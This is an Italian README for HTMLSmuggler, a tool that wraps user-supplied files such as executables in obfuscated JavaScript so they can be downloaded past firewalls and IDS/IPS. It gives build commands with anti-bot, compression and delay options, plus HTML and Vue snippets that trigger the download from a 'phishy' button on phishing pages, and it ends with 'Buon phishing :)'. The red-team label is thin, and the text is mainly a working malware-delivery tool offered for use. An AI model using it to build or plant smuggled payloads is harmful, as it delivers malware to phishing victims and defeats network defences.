
✉️ HTML Smuggling generator&obfuscator per le tue operazioni Red Team
HTMLSmuggler - Generatore di payload JS per bypass IDS e consegna di payload tramite contrabbando HTML (HTML smuggling).
La spiegazione completa di cosa sia l'HTML Smuggling può essere trovata qui.
L'obiettivo primario dell'HTML smuggling è bypassare i controlli di sicurezza di rete, come firewall e sistemi di rilevamento delle intrusioni, mascherando payload dannosi (ad es. eseguibili/archivi/ecc.) all'interno di codice HTML e JavaScript apparentemente innocuo. Sfruttando la natura dinamica delle applicazioni web, gli aggressori possono consegnare contenuti malevoli al browser di un utente senza attivare allarmi di sicurezza o essere rilevati dai meccanismi di sicurezza tradizionali. Grazie a questa tecnica, il download di un file malevolo non viene in alcun modo visualizzato nelle moderne soluzioni IDS.
Lo scopo principale dello strumento HTMLSmuggler è creare una libreria JavaScript indipendente con un payload definito dall'utente incorporato. Questa libreria può essere integrata nei tuoi siti di phishing/allegati HTML di email/ecc. per consegnare il payload incorporato al sistema dell'utente target (bypassando sistemi IDS e IPS). Un esempio di libreria JavaScript creata può essere trovato qui.
Installa le dipendenze:
yarn
Leggi il messaggio di aiuto.
yarn build -h
Options:
-p, --payload <string> Percorso del file payload da contrabbandare
-n, --name <string> Nome del file che verrà scaricato
-t, --type <string> Content-Type del file scaricato (default: "application/octet-stream")
-f, --function <string> Nome della funzione esportata (default: "download")
-c, --compress Abilita la compressione del payload (gzip)
-d, --delay <number> Ritardo prima dell'antibot e del download in ms (default: 0)
-a, --antibot Abilita il rilevamento dei bot e li blocca (consigliato)
-h, --help Mostra l'aiuto per il comando
(Opzionale) Modifica le opzioni di javascript-obfuscator in obfuscator.js, la mia preimpostazione è buona, ma molto lenta.
Compila il tuo payload JavaScript:
⚠️ EVITA L'USO DI PAYLOAD PIÙ GRANDI DI 3 MiB (vedi FAQ)
yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c -a -d 3000
Ottieni il tuo payload da dist/payload.esm.js o dist/payload.umd.js. Successivamente, può essere inserito nella tua pagina e richiamato con la funzione download() (o personalizzata specificata con il flag -f).
payload.esm.jsviene utilizzato nelle importazioniimport { download } from 'payload.esm';(standard ECMAScript).
payload.umd.jsviene utilizzato nell'attributo SRC del tag script HTML e nelle importazionirequire('payload.umd');(CommonJS, AMD e HTML puro).
Un esempio completo può essere trovato qui.
Segui i passaggi preliminari.
Importa lo script creato nel file HTML (o inseriscilo inline):
<head>
<script src="payload.umd.js"></script>
</head>
Chiama la funzione download() dal corpo:
<body>
<button onclick="download()">Pulsante phishy</button>
</body>
Buon phishing :)
Un esempio completo può essere trovato qui.
Segui i passaggi preliminari.
Importa lo script creato nel file Vue:
<script>
import { download } from './payload.esm';
</script>
Chiama la funzione download():
<template>
<button @click="download()">Pulsante phishy</button>
</template>
Buon phishing :)
D: Ottengo un errore RangeError: Maximum call stack size exceeded, come risolverlo?
R: Questo problema è descritto qui. Per risolverlo, prova a disabilitare splitStrings in obfuscator.js o a ridurre la dimensione del payload (si consiglia di utilizzare payload fino a 2 MB a causa di questo problema).
D: Perché la creazione del mio payload è così lenta?
R: Più grande è il payload utilizzato, più tempo ci vuole per creare un file JS. Per ridurre il tempo di creazione, prova a disabilitare splitStrings in obfuscator.js. Di seguito una tabella con i tempi di creazione stimati utilizzando obfuscator.js predefinito.
| Dimensione payload | Tempo di creazione |
|---|---|
| 525 KB | 53 s |
| 1.25 MB | 8 m |
| 3.59 MB | 25 m |